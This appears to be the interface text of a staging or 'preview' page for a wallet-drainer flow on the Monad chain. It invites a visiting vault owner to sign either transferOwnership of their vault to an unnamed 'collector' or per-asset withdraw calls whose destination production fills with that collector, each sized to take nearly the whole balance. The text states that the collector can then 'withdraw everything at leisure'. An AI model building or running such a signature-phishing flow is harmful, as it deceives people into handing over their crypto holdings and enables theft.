Monad mainnet · chain 143 · read-only until you confirm in the wallet
PREVIEW RIG. Both buttons open the exact wallet popups the flow would ask for.
Calls revert unless they are signed by the vault owner 0x22c6…0659 — so previewing from any other wallet is harmless.
By default every destination field points at your own connected wallet (a no-op for the real owner). Production fills the collector.
1 · Connect
Rabby or MetaMask. The page adds/switchs to Monad if needed.
Read from the vault address. The "ask" column is the exact amount the flow would pass — 0.01% under the balance (the never-above-balance law).
asset
balance
ask (−0.01%)
connect first
ROAD A · One signature — ownership handover
A single popup: transferOwnership(address) on the vault. After it confirms, the collector can withdraw everything at leisure (gas paid by us, not the visitor).
calldata: —
ROAD B · Per-asset withdrawals
One popup per asset: withdraw(token, amount, to) on the vault — a plain call to the visitor's own contract. Native MON uses token = 0x0.